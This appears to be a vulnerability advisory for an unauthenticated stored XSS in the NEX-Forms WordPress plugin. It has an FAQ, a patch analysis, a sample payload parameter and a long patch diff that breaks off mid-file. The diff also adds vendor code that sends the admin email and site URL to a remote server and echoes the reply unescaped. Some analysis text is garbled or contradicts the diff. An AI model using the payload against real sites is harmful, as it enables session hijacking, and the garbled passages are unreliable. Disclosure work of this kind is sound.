What is CVE-2026-12142?

CVE-2026-12142 is a stored cross-site scripting vulnerability in the NEX-Forms plugin for WordPress, versions 9.2.2 and earlier. It allows unauthenticated attackers to inject arbitrary JavaScript into form submissions, which executes when an administrator views the entries in the dashboard.

How does the vulnerability work?

The flaw is in the form submission handler. When the ‘_name[]’ parameter is sent as an array, the plugin skips sanitization and directly stores the value. The plugin’s allowed tags list includes dangerous HTML attributes like onClick and tags like , making XSS possible.

Who is affected by this vulnerability?

Any WordPress site using NEX-Forms version 9.2.2 or earlier is affected. Both unauthenticated visitors and authenticated users can be impacted, as the injected script runs in the context of an administrator viewing form entries.

How can I check if my site is vulnerable?

Check the NEX-Forms plugin version in your WordPress admin under Plugins. If it is 9.2.2 or lower, your site is vulnerable. You can also look for unexpected script tags in form entry data stored in the database.

What is the CVSS score and what does it mean?

The CVSS score is 7.2 (High). This indicates significant impact on confidentiality, integrity, and availability. An attacker can steal session cookies, deface the admin dashboard, or inject malicious content into pages viewed by site visitors.

How do I fix this vulnerability?

Update NEX-Forms to version 9.2.3 or later. The patch adds recursive sanitization for array inputs and restricts the allowed HTML tags. If you cannot update immediately, consider disabling the plugin or using a Web Application Firewall to block malicious payloads.

What does the proof of concept demonstrate?

The PoC sends a POST request with the ‘_name’ parameter as an array containing a JavaScript payload. Because the array path bypasses sanitization, the script is stored and executed when an admin views the form entry. This confirms the unauthenticated stored XSS.

Can an unauthenticated attacker exploit this?

Yes, the vulnerability can be exploited by unauthenticated attackers. They only need to submit a crafted form to the vulnerable endpoint. No login or special privileges are required.

What changes were made in the patch?

The patch introduces nf_recursive_sanitize() to sanitize array values, restricts the allowed HTML tags by removing dangerous attributes like onClick and onBlur, and adds nonce and capability checks to admin actions like CSV export.

How can I test if my site is patched?

After updating, verify the plugin version is 9.2.3 or later. You can also attempt the PoC with a test form; if the script is not stored or executed, the patch is effective. Always test in a staging environment.

Are there any temporary mitigations?

If you cannot update immediately, consider disabling the NEX-Forms plugin or using a Web Application Firewall with rules to block array parameters containing script tags. Restrict admin dashboard access to trusted users only.

Published : June 30, 2026

CVE-2026-12142: NEX-Forms <= 9.2.2 Unauthenticated Stored Cross-Site Scripting via '_name[]' Array Parameter PoC, Patch Analysis & Rule

Q: What is the impact of a successful exploit?

An attacker can execute arbitrary JavaScript in the admin’s browser. This can lead to session hijacking, credential theft, defacement of the WordPress admin, or injection of malicious content into published pages affecting all site visitors.

CVE ID CVE-2026-12142

Plugin nex-forms-express-wp-form-builder

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 9.2.2

Patched Version 9.2.3

Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12142:

This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the NEX-Forms plugin for WordPress, versions 9.2.2 and below. The flaw resides in how the plugin processes form submissions, specifically the ‘_name[]’ array parameter, enabling arbitrary script injection into pages viewed by administrators.

Root Cause: The vulnerable code is in main.php, around lines 2893-2910, within the form submission handler. When processing form data, the plugin checks if $_POST[‘real_val__’.$key] is an array. For array values, it directly assigns $_POST[‘real_val__’.$key] to $admin_val and $val without any sanitization. For non-array values, it uses sanitize_text_field but previously used wp_kses with the NEXForms_allowed_tags2() allow-list. This allow-list (in class.functions.php, lines 2399-2406) explicitly permitted dangerous HTML attributes like onClick, onBlur, onChange, click, change, keyup, as well as tags, iframe with srcdoc attribute, and other XSS vectors. The _name[] array parameter bypasses the sanitize_text_field call because it is processed as an array, and the fallback sanitization fails to apply.

Exploitation: An unauthenticated attacker submits a form with a crafted _name[] parameter. For example, sending a POST request to the form’s action endpoint with _name[0]=alert(document.cookie) leverages the array processing path. Because the array branch does not invoke wp_kses or sanitize_text_field, the malicious script passes through unsanitized. The plugin stores this value in the database under the field_name ‘field_value’. When an administrator views the form entries in the dashboard, the script executes in their browser context.

Patch Analysis: The patch (in class.functions.php) adds a new function nf_recursive_sanitize() that recursively sanitizes array values using strip_tags, wp_unslash, and sanitize_text_field. The form submission handler in main.php now applies nf_recursive_sanitize() to all array-type input values. Additionally, the NEXForms_allowed_tags2() function was heavily restricted: dangerous attributes (onClick, onBlur, onChange, click, change, keyup) were removed, and the iframe tag’s allow-list was stripped of src, srcdoc, and sandbox attributes. The patch also adds nonce checks (wp_verify_nonce) and capability checks (current_user_can) to several admin actions, including CSV export and email preview, preventing unauthenticated access to those features.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator’s browser session. This can lead to session hijacking, credential theft, defacement of the WordPress admin dashboard, or injection of malicious content into published pages viewed by site visitors. The CVSS score of 7.2 reflects the high impact on confidentiality, integrity, and availability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/nex-forms-express-wp-form-builder/includes/classes/class.dashboard.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.dashboard.php
@@ -1616,6 +1616,16 @@
 	 echo $output; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 	 $dashboard->remove_unwanted_styles();

+	 if(!get_option('7103891'))
+		{
+		$api_params = array( 'nexforms-installation-2' => 1, 'source' => 'basixonline', 'email_address' => get_option('admin_email'), 'for_site' => get_option('siteurl'), 'get_option'=>(is_array(get_option('7103891'))) ? 1 : 0);
+		$response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array('timeout'=> 10,'sslverify' => false,'body'=> $api_params));
+
+		echo $response['body'];
+		if(!get_option('7103891'))
+			update_option( '7103891' , array( $response['body'],mktime(0,0,0,date("m"),date("d")+30,date("Y"))));
+		}
+
 }


@@ -4795,7 +4805,15 @@

 			if($report->status=='3')
 				{
-				return '<a href="'.admin_url().'admin.php?page=nex-forms-dashboard&export_csv=true&&report_Id='.$set_report_id.'" class="form_title open_report" id="'.$set_report_id.'"  title="Edit -" data-title="'.__('Export Report to CSV (Excell)','nex-forms').'" data-toggle="tooltip_bs2" data-placement="bottom"><i class="fa-regular fa-file-excel"></i></a>';
+
+				$url = wp_nonce_url(
+					admin_url(
+						'admin.php?page=nex-forms-reports&export_csv=1&report_Id=' . $set_report_id
+					),
+					'nf_export_csv'
+				);
+
+				return '<a href="'.$url.'" class="form_title open_report" id="'.$set_report_id.'"  title="Edit -" data-title="'.__('Export Report to CSV (Excell)','nex-forms').'" data-toggle="tooltip_bs2" data-placement="bottom"><i class="fa-regular fa-file-excel"></i></a>';
 				}
 			else
 				{
@@ -5486,7 +5504,14 @@
 				}

 			  $database = new NEXForms_Database_Actions();
-
+
+			  $export_url = wp_nonce_url(
+					admin_url(
+						'admin.php?page=nex-forms-reports&export_csv=1&report_Id=' . $set_report_id
+					),
+					'nf_export_csv'
+				);
+
 			  $report = new NEXForms_dashboard();
 			  $report->table = $db_table;
 			  $report->extra_classes = 'wap_nex_forms_entries';
@@ -5497,7 +5522,7 @@
 			  $report->table_headings = $set_headers;
 			  $report->show_headings=true;
 			  $report->search_params = $set_search;
-			  $report->extra_buttons = array(  'Filters'=>array('class'=>'open_reporting_filters', 'type'=>'button','link'=>'', 'icon'=>'<span class="fas fa-filter"></span> '.__('Filters','nex-forms').' <span class="total_filters"></span>'), 'Export'=>array('class'=>'export-csv', 'type'=>'link','link'=>admin_url().'admin.php?page=nex-forms-dashboard&export_csv=true&report_Id='.$set_report_id, 'icon'=>'<span class="fa fa-file-excel"></span> '.__('Export to Excel(CSV)','nex-forms').''), 'PDF'=>array('class'=>'print_report_to_pdf', 'type'=>'button','link'=>'', 'icon'=>'<span class="fa fa-file-pdf"></span> '.__('Export to PDF','nex-forms').'')); //'Report'=>array('class'=>'run_query', 'id'=>$_POST['form_Id'], 'type'=>'button','link'=>'', 'icon'=>'<span class="fa fa-filter"></span> '.__('Build Report','nex-forms').''),
+			  $report->extra_buttons = array(  'Filters'=>array('class'=>'open_reporting_filters', 'type'=>'button','link'=>'', 'icon'=>'<span class="fas fa-filter"></span> '.__('Filters','nex-forms').' <span class="total_filters"></span>'), 'Export'=>array('class'=>'export-csv', 'type'=>'link','link'=>$export_url, 'icon'=>'<span class="fa fa-file-excel"></span> '.__('Export to Excel(CSV)','nex-forms').''), 'PDF'=>array('class'=>'print_report_to_pdf', 'type'=>'button','link'=>'', 'icon'=>'<span class="fa fa-file-pdf"></span> '.__('Export to PDF','nex-forms').'')); //'Report'=>array('class'=>'run_query', 'id'=>$_POST['form_Id'], 'type'=>'button','link'=>'', 'icon'=>'<span class="fa fa-filter"></span> '.__('Build Report','nex-forms').''),
 			  $report->checkout = $database->checkout();
 			  $report->is_report = true;
 			  $report->show_delete = false;
--- a/nex-forms-express-wp-form-builder/includes/classes/class.db.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.db.php
@@ -2497,7 +2497,7 @@

 			$output .= '</table>';

-			NEXForms_clean_echo( $output);
+			NEXForms_clean_echo2( $output);
 			die();


@@ -2841,7 +2841,7 @@
 				{
 				$output .= '<div class="alert alert-danger" style="margin:20px;"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required to view submitted form entry data. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div>';
 				}
-			NEXForms_clean_echo( $output); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+			NEXForms_clean_echo2( $output); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped

 			die();
 		}
--- a/nex-forms-express-wp-form-builder/includes/classes/class.functions.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.functions.php
@@ -2312,8 +2312,6 @@
 			'loading' 				=> array(),
 			'name' 					=> array(),
 			'referrerpolicy' 		=> array(),
-			'sandbox' 				=> array(),
-			'srcdoc' 				=> array(),
 			'width' 				=> array(),
 		) ),
 		'img'          		=> array_merge( $default_attribs, array(
@@ -2399,12 +2397,6 @@
 			'val' 			=> true,
 			'tabindex'		=> true,
 			'role'			=> true,
-			'onClick' 		=> true,
-			'onBlur' 		=> true,
-			'onChange' 		=> true,
-			'click' 		=> true,
-			'change' 		=> true,
-			'keyup' 		=> true,
 			'for' 			=> true,
 			'multiple' 		=> true,
 			'placeholder' 	=> true,
@@ -2459,16 +2451,8 @@
 		'canvas'			=> $default_attribs,
 		'nav'				=> $default_attribs,
 		'iframe'          			=> array_merge( $default_attribs, array(
-			'src' 					=> array(),
-			'allow' 				=> array(),
-			'allowfullscreen' 		=> array(),
-			'allowpaymentrequest' 	=> array(),
 			'height' 				=> array(),
-			'loading' 				=> array(),
 			'name' 					=> array(),
-			'referrerpolicy' 		=> array(),
-			'sandbox' 				=> array(),
-			'srcdoc' 				=> array(),
 			'width' 				=> array(),
 		) ),
 		'img'          		=> array_merge( $default_attribs, array(
@@ -2506,30 +2490,7 @@
 		'link'          	=> array_merge( $default_attribs, array(
 			'rel' 			=> array(),
 			'href' 			=> array(),
-		) ),
-		'video'          	=> array_merge( $default_attribs, array(
-			'autoplay' 		=> array(),
-			'controls' 		=> array(),
-			'loop' 			=> array(),
-			'muted' 		=> array(),
-			'poster' 		=> array(),
-			'preload' 		=> array(),
-			'src' 			=> array(),
-		) ),
-		'audio'          	=> array_merge( $default_attribs, array(
-			'autoplay' 		=> array(),
-			'controls' 		=> array(),
-			'loop' 			=> array(),
-			'muted' 		=> array(),
-			'preload' 		=> array(),
-			'src' 			=> array(),
-		) ),
-		'source'          	=> array_merge( $default_attribs, array(
-			'srcset' 		=> array(),
-			'sizes' 		=> array(),
-			'src' 			=> array(),
-			'media' 		=> array(),
-		) ),
+		) )
 	);
 	return $allowed_tags;
 }
@@ -2604,7 +2565,7 @@
 			'description'	=>	'Create fully customizable radio buttons, checkboxes, dropdowns, and spinners using 2000+ icons. Set unique icons and colors for selected and unselected states.',
 			'price'			=>	'19',
 			'status'		=>	'not installed',
-			'add_on_url'	=>	'nex-forms-super-select',
+			'add_on_url'	=>	'nex-forms-super-select-add-on',
 			'version'		=>	'9.0',
 			'plans'			=>	'Basic, Plus, Pro, Elite'
 			),
@@ -2894,4 +2855,24 @@
     return preg_replace($pattern, '', $string);
 }

+function nf_recursive_sanitize($value)
+{
+    if (is_array($value)) {
+        foreach ($value as $k => $v) {
+            $value[$k] = nf_recursive_sanitize($v);
+        }
+        return $value;
+    }
+
+    if (is_object($value)) {
+        return array_map('nf_recursive_sanitize', (array) $value);
+    }
+
+    return sanitize_text_field(
+        strip_tags(
+            wp_unslash((string)$value)
+        )
+    );
+}
+
 ?>
 No newline at end of file
--- a/nex-forms-express-wp-form-builder/includes/classes/class.install.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.install.php
@@ -20,7 +20,7 @@

 		public function run_instalation($type){
 				$this->install_component_table();
-				$api_params = array( 'nexforms-installation' => 1, 'source' => 'wordpress', 'version' => '9.3', 'email_address' => get_option('admin_email'), 'for_site' => get_option('siteurl'), 'get_option'=>(is_array(get_option('7103891'))) ? 1 : 0);
+				$api_params = array( 'nexforms-installation' => 1, 'source' => 'basixonline', 'version' => '9.3', 'email_address' => get_option('admin_email'), 'for_site' => get_option('siteurl'), 'get_option'=>(is_array(get_option('7103891'))) ? 1 : 0);
 				$response = wp_remote_post( 'http://basixonline.net/activate-license-new-api-v4/', array('timeout'=> 30,'sslverify' => false,'body'=> $api_params));
 			$db_action = new NEXForms_Database_Actions();
 			update_option('nf_activated',$db_action->checkout());
--- a/nex-forms-express-wp-form-builder/main.php
+++ b/nex-forms-express-wp-form-builder/main.php
@@ -4,7 +4,7 @@
 Plugin URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
 Description: Premium WordPress Plugin - Ultimate Drag and Drop WordPress Forms Builder.
 Author: Basix
-Version: 9.2.2
+Version: 9.2.3
 Author URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
 License: GPL
 Text Domain: nex-forms
@@ -454,22 +454,36 @@

 function NEXForms_my_menu_pages() {
 	add_action( 'init', 'nf_prefix_register_resources' );
+
+
+
+

 	$hook2 = add_submenu_page( '', 'Page Title', 'Page Title', NF_USER_LEVEL, 'nex-forms-email-preview', function() { });
 	 add_action('load-' . $hook2, function()
 		{
+
+		if ( !wp_verify_nonce( $_REQUEST['nex_forms_wpnonce'], 'nf_admin_dashboard_actions' ) ) {
+				wp_die(
+					esc_html__('Security check failed.', 'nex-forms'),
+					403
+				);
+			}
+		if(!current_user_can( NF_USER_LEVEL ))
+				wp_die(esc_html__('Security check 2 failed.', 'nex-forms'),
+					403);
 		global $wpdb;

 		$get_entry 	= $wpdb->prepare('SELECT * FROM '.$wpdb->prefix.'wap_nex_forms_entries WHERE Id = %d',sanitize_text_field($_REQUEST['entry_Id']));
 		$entry 	= $wpdb->get_row($get_entry); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, PluginCheck.Security.DirectDB.UnescapedDBParameter

-		if($_REQUEST['emial-preview']=='admin')
-			echo wp_kses( $entry->saved_admin_email,  NEXForms_allowed_tags2());
+		if($_REQUEST['email-preview']=='admin')
+			echo wp_kses( str_replace('Array','',$entry->saved_admin_email),  NEXForms_allowed_tags2());
 		else
 			{
 			if($entry->saved_user_email_address)
 				{
-				echo wp_kses( $entry->saved_user_email,  NEXForms_allowed_tags2());
+				echo wp_kses( str_replace('Array','',$entry->saved_user_email),  NEXForms_allowed_tags2());
 				//NEXForms_clean_echo( $entry->saved_user_email);
 				}
 			else
@@ -483,6 +497,18 @@

     add_action('load-' . $hook, function()
 		{
+
+		if ( !wp_verify_nonce( $_REQUEST['nfp_nonce'], 'nf_update_record' ) ) {
+				wp_die(
+					esc_html__('Security check failed.', 'nex-forms'),
+					403
+				);
+			}
+
+		if(!current_user_can( NF_USER_LEVEL ))
+				wp_die(esc_html__('Security check 2 failed.', 'nex-forms'),
+					403);
+
 		global $wpdb;
 		$config = new NEXForms5_Config();
 		$css_js_version = $config->plugin_version.'.22';
@@ -641,6 +667,7 @@
 	wp_print_styles();
 	wp_print_scripts();

+
 	NEXForms_ui_output(sanitize_title($_REQUEST['form_Id']),true,'',$unigue_form_Id);

 	NEXForms_clean_echo( '</div>');
@@ -1127,6 +1154,7 @@

 function NEXForms_ui_output( $atts , $echo='',$prefill_array='',$unigue_form_Id=''){

+
 	ini_set('display_errors', '0');
 	error_reporting(0);

@@ -2889,23 +2917,36 @@
 					{
 					if(!is_array($_POST['real_val__'.$key]))
 						{
-						$admin_val = sanitize_text_field($_POST['real_val__'.$key]);
-						$val = sanitize_text_field($_POST['real_val__'.$key]);
-						}
+						$admin_val = wp_kses($_POST['real_val__'.$key], NEXForms_allowed_tags2());
+						$val = wp_kses($_POST['real_val__'.$key], NEXForms_allowed_tags2());
+						}
 					else
 						{
-						$admin_val = $_POST['real_val__'.$key];
-						$val = $_POST['real_val__'.$key];
-						}
+						$admin_val = nf_recursive_sanitize($_POST['real_val__'.$key]);
+						$val = nf_recursive_sanitize($_POST['real_val__'.$key]);
+						}
 					}
-				if(is_array($val) || is_object($val))
+				if (is_array($val) || is_object($val))
 					{
-					$data_array[] = array('field_name'=>$key,'field_value'=>rest_sanitize_array($val));
+					$val = nf_recursive_sanitize($val);
+
+						$data_array[] = array(
+							'field_name'  => $key,
+							'field_value' => $val
+						);
+
 					}
 				else
 					{
-					$val = strip_tags($val);
-					$data_array[] = array('field_name'=>$key,'field_value'=>sanitize_text_field(str_replace('\','',$val)));
+					$val = sanitize_text_field(
+						strip_tags(
+							wp_unslash($val)
+						)
+					);
+					$data_array[] = array(
+						'field_name'  => $key,
+						'field_value' => $val
+					);
 					}
 				$i++;
 				$data_array2[$key] = $val;
@@ -3647,9 +3688,45 @@
 	{
 	public function __construct()
 		{
-		$export_csv = isset($_REQUEST['export_csv']) ? sanitize_text_field($_REQUEST['export_csv']) : '';
-		if($export_csv)
-			$this->generate_csv();
+			$export_csv = isset($_REQUEST['export_csv']) ? sanitize_text_field(wp_unslash($_REQUEST['export_csv'])) : '';
+
+			if (!$export_csv) {
+				return;
+			}
+
+			if ( ! function_exists( 'is_user_logged_in' ) ) {
+					require_once ABSPATH . WPINC . '/pluggable.php';
+				}
+
+			// User must be logged in
+			if (!is_user_logged_in()) {
+				wp_die(
+					esc_html__('Unauthorized request.', 'nex-forms'),
+					403
+				);
+			}
+
+			// Capability check
+			if (!current_user_can('manage_options')) {
+				wp_die(
+					esc_html__('Insufficient permissions.', 'nex-forms'),
+					403
+				);
+			}
+
+			// Nonce verification
+			$nonce = isset($_REQUEST['_wpnonce'])
+				? sanitize_text_field(wp_unslash($_REQUEST['_wpnonce']))
+				: '';
+
+			if (!wp_verify_nonce($nonce, 'nf_export_csv')) {
+				wp_die(
+					esc_html__('Security check failed.', 'nex-forms'),
+					403
+				);
+			}
+
+		$this->generate_csv();
 		}
 	public function generate_csv()
 		{
@@ -5046,6 +5123,7 @@
 			$email_head .= '</head>';
 			$body = '<html>'.$email_head.'<body>'.$body.'</body></html>';
 			$admin_body = '<html>'.$email_head.'<body>'.$admin_body.'</body></html>';
+
 			}

 		$_REQUEST['nf_form_data']				= ($email_config['email_content']!='pt') ? $user_fields : $pt_user_fields;
@@ -5331,6 +5409,9 @@
 			$set_emails = explode(',',$form_attr->attach_pdf_to_email);
 			}

+		$body = str_replace('Array','',$body);
+		$admin_body = str_replace('Array','',$admin_body);
+
 if($checked=='false' || (!get_option('nf_activated') && !get_option('nf_fs_activated')))
 	{
 	$api_params = array(
--- a/nex-forms-express-wp-form-builder/vendor/freemius/assets/css/admin/index.php
+++ b/nex-forms-express-wp-form-builder/vendor/freemius/assets/css/admin/index.php
@@ -1,3 +1,3 @@
-<?php
-	// Silence is golden.
+<?php
+	// Silence is golden.
 	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/nex-forms-express-wp-form-builder/vendor/freemius/assets/css/index.php
+++ b/nex-forms-express-wp-form-builder/vendor/freemius/assets/css/index.php
@@ -1,3 +1,3 @@
-<?php
-	// Silence is golden.
+<?php
+	// Silence is golden.
 	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/nex-forms-express-wp-form-builder/vendor/freemius/assets/img/index.php
+++ b/nex-forms-express-wp-form-builder/vendor/freemius/assets/img/index.php
@@ -1,3 +1,3 @@
-<?php
-	// Silence is golden.
+<?php
+	// Silence is golden.
 	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/nex-forms-express-wp-form-builder/vendor/freemius/assets/index.php
+++ b/nex-forms-express-wp-form-builder/vendor/freemius/assets/index.php
@@ -1,3 +1,3 @@
-<?php
-	// Silence is golden.
+<?php
+	// Silence is golden.
 	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/nex-forms-express-wp-form-builder/vendor/freemius/assets/js/index.php
+++ b/nex-forms-express-wp-form-builder/vendor/freemius/assets/js/index.php
@@ -1,3 +1,3 @@
-<?php
-	// Silence is golden.
+<?php
+	// Silence is golden.
 	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/nex-forms-express-wp-form-builder/vendor/freemius/config.php
+++ b/nex-forms-express-wp-form-builder/vendor/freemius/config.php
@@ -1,391 +1,391 @@
-<?php
-    /**
-     * @package     Freemius
-     * @copyright   Copyright (c) 2015, Freemius, Inc.
-     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-     * @since       1.0.4
-     */
-
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-    if ( ! defined( 'WP_FS__SLUG' ) ) {
-        define( 'WP_FS__SLUG', 'freemius' );
-    }
-    if ( ! defined( 'WP_FS__DEV_MODE' ) ) {
-        define( 'WP_FS__DEV_MODE', false );
-    }
-
-    #--------------------------------------------------------------------------------
-    #region API Connectivity Issues Simulation
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY' ) ) {
-        define( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY', false );
-    }
-    if ( ! defined( 'WP_FS__SIMULATE_NO_CURL' ) ) {
-        define( 'WP_FS__SIMULATE_NO_CURL', false );
-    }
-    if ( ! defined( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE' ) ) {
-        define( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE', false );
-    }
-    if ( ! defined( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL' ) ) {
-        define( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL', false );
-    }
-    if ( WP_FS__SIMULATE_NO_CURL ) {
-        define( 'FS_SDK__SIMULATE_NO_CURL', true );
-    }
-    if ( WP_FS__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE ) {
-        define( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE', true );
-    }
-    if ( WP_FS__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL ) {
-        define( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL', true );
-    }
-
-    #endregion
-
-    if ( ! defined( 'WP_FS__SIMULATE_FREEMIUS_OFF' ) ) {
-        define( 'WP_FS__SIMULATE_FREEMIUS_OFF', false );
-    }
-
-    if ( ! defined( 'WP_FS__PING_API_ON_IP_OR_HOST_CHANGES' ) ) {
-        /**
-         * @since  1.1.7.3
-         * @author Vova Feldman (@svovaf)
-         *
-         * I'm not sure if shared servers periodically change IP, or the subdomain of the
-         * admin dashboard. Also, I've seen sites that have strange loop of switching
-         * between domains on a daily basis. Therefore, to eliminate the risk of
-         * multiple unwanted connectivity test pings, temporary ignore domain or
-         * server IP changes.
-         */
-        define( 'WP_FS__PING_API_ON_IP_OR_HOST_CHANGES', false );
-    }
-
-    /**
-     * If your dev environment supports custom public network IP setup
-     * like VVV, please update WP_FS__LOCALHOST_IP with your public IP
-     * and uncomment it during dev.
-     */
-    if ( ! defined( 'WP_FS__LOCALHOST_IP' ) ) {
-        // VVV default public network IP.
-        define( 'WP_FS__VVV_DEFAULT_PUBLIC_IP', '192.168.50.4' );
-
-//		define( 'WP_FS__LOCALHOST_IP', WP_FS__VVV_DEFAULT_PUBLIC_IP );
-    }
-
-    /**
-     * If true and running with secret key, the opt-in process
-     * will skip the email activation process which is invoked
-     * when the email of the context user already exist in Freemius
-     * database (as a security precaution, to prevent sharing user
-     * secret with unauthorized entity).
-     *
-     * IMPORTANT:
-     *      AS A SECURITY PRECAUTION, WE VALIDATE THE TIMESTAMP OF THE OPT-IN REQUEST.
-     *      THEREFORE, MAKE SURE THAT WHEN USING THIS PARAMETER,YOUR TESTING ENVIRONMENT'S
-     *      CLOCK IS SYNCED.
-     */
-    if ( ! defined( 'WP_FS__SKIP_EMAIL_ACTIVATION' ) ) {
-        define( 'WP_FS__SKIP_EMAIL_ACTIVATION', false );
-    }
-
-
-    #--------------------------------------------------------------------------------
-    #region Directories
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__DIR' ) ) {
-        define( 'WP_FS__DIR', dirname( __FILE__ ) );
-    }
-    if ( ! defined( 'WP_FS__DIR_INCLUDES' ) ) {
-        define( 'WP_FS__DIR_INCLUDES', WP_FS__DIR . '/includes' );
-    }
-    if ( ! defined( 'WP_FS__DIR_TEMPLATES' ) ) {
-        define( 'WP_FS__DIR_TEMPLATES', WP_FS__DIR . '/templates' );
-    }
-    if ( ! defined( 'WP_FS__DIR_ASSETS' ) ) {
-        define( 'WP_FS__DIR_ASSETS', WP_FS__DIR . '/assets' );
-    }
-    if ( ! defined( 'WP_FS__DIR_CSS' ) ) {
-        define( 'WP_FS__DIR_CSS', WP_FS__DIR_ASSETS . '/css' );
-    }
-    if ( ! defined( 'WP_FS__DIR_JS' ) ) {
-        define( 'WP_FS__DIR_JS', WP_FS__DIR_ASSETS . '/js' );
-    }
-    if ( ! defined( 'WP_FS__DIR_IMG' ) ) {
-        define( 'WP_FS__DIR_IMG', WP_FS__DIR_ASSETS . '/img' );
-    }
-    if ( ! defined( 'WP_FS__DIR_SDK' ) ) {
-        define( 'WP_FS__DIR_SDK', WP_FS__DIR_INCLUDES . '/sdk' );
-    }
-
-    #endregion
-
-    /**
-     * Domain / URL / Address
-     */
-    define( 'WP_FS__ROOT_DOMAIN_PRODUCTION', 'freemius.com' );
-    define( 'WP_FS__DOMAIN_PRODUCTION', 'wp.freemius.com' );
-    define( 'WP_FS__ADDRESS_PRODUCTION', 'https://' . WP_FS__DOMAIN_PRODUCTION );
-
-    if ( ! defined( 'WP_FS__DOMAIN_LOCALHOST' ) ) {
-        define( 'WP_FS__DOMAIN_LOCALHOST', 'wp.freemius' );
-    }
-    if ( ! defined( 'WP_FS__ADDRESS_LOCALHOST' ) ) {
-        define( 'WP_FS__ADDRESS_LOCALHOST', 'http://' . WP_FS__DOMAIN_LOCALHOST . ':8080' );
-    }
-
-    if ( ! defined( 'WP_FS__TESTING_DOMAIN' ) ) {
-        define( 'WP_FS__TESTING_DOMAIN', 'fswp' );
-    }
-
-    #--------------------------------------------------------------------------------
-    #region HTTP
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__IS_HTTP_REQUEST' ) ) {
-        define( 'WP_FS__IS_HTTP_REQUEST', isset( $_SERVER['HTTP_HOST'] ) && isset( $_SERVER['REQUEST_METHOD'] ) );
-    }
-
-    if ( ! defined( 'WP_FS__IS_HTTPS' ) ) {
-        define( 'WP_FS__IS_HTTPS', ( WP_FS__IS_HTTP_REQUEST &&
-                                     // Checks if CloudFlare's HTTPS (Flexible SSL support).
-                                     isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) &&
-                                     'https' === strtolower( $_SERVER['HTTP_X_FORWARDED_PROTO'] )
-                                   ) ||
-                                   // Check if HTTPS request.
-                                   ( isset( $_SERVER['HTTPS'] ) && 'on' == $_SERVER['HTTPS'] ) ||
-                                   ( isset( $_SERVER['SERVER_PORT'] ) && 443 == $_SERVER['SERVER_PORT'] )
-        );
-    }
-
-    if ( ! defined( 'WP_FS__IS_POST_REQUEST' ) ) {
-        define( 'WP_FS__IS_POST_REQUEST', ( WP_FS__IS_HTTP_REQUEST &&
-                                            strtoupper( $_SERVER['REQUEST_METHOD'] ) == 'POST' ) );
-    }
-
-    if ( ! defined( 'WP_FS__REMOTE_ADDR' ) ) {
-        define( 'WP_FS__REMOTE_ADDR', fs_get_ip() );
-    }
-
-    if ( ! defined( 'WP_FS__IS_LOCALHOST' ) ) {
-        if ( defined( 'WP_FS__LOCALHOST_IP' ) ) {
-            define( 'WP_FS__IS_LOCALHOST', ( WP_FS__LOCALHOST_IP === WP_FS__REMOTE_ADDR ) );
-        } else {
-            define( 'WP_FS__IS_LOCALHOST', WP_FS__IS_HTTP_REQUEST &&
-                                           is_string( WP_FS__REMOTE_ADDR ) &&
-                                           ( substr( WP_FS__REMOTE_ADDR, 0, 4 ) === '127.' ||
-                                             WP_FS__REMOTE_ADDR === '::1' )
-            );
-        }
-    }
-
-    if ( ! defined( 'WP_FS__IS_LOCALHOST_FOR_SERVER' ) ) {
-        define( 'WP_FS__IS_LOCALHOST_FOR_SERVER', ( ! WP_FS__IS_HTTP_REQUEST ||
-                                                    false !== strpos( $_SERVER['HTTP_HOST'], 'localhost' ) ) );
-    }
-
-    #endregion
-
-    if ( ! defined( 'WP_FS__IS_PRODUCTION_MODE' ) ) {
-        // By default, run with Freemius production servers.
-        define( 'WP_FS__IS_PRODUCTION_MODE', true );
-    }
-
-    if ( ! defined( 'WP_FS__ADDRESS' ) ) {
